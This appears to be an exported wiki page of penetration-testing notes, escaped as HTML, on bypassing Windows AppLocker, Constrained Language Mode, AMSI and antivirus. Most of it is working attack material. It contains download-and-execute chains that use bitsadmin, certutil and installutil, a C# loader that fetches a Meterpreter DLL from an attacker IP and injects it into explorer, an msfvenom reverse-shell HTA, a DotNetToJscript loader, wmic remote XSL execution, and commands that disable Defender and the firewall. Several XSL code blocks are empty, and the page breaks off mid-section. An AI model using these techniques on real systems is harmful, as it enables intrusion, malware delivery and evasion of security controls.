bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The DLL is loaded by &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;, so all code runs inside a trusted process. &lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
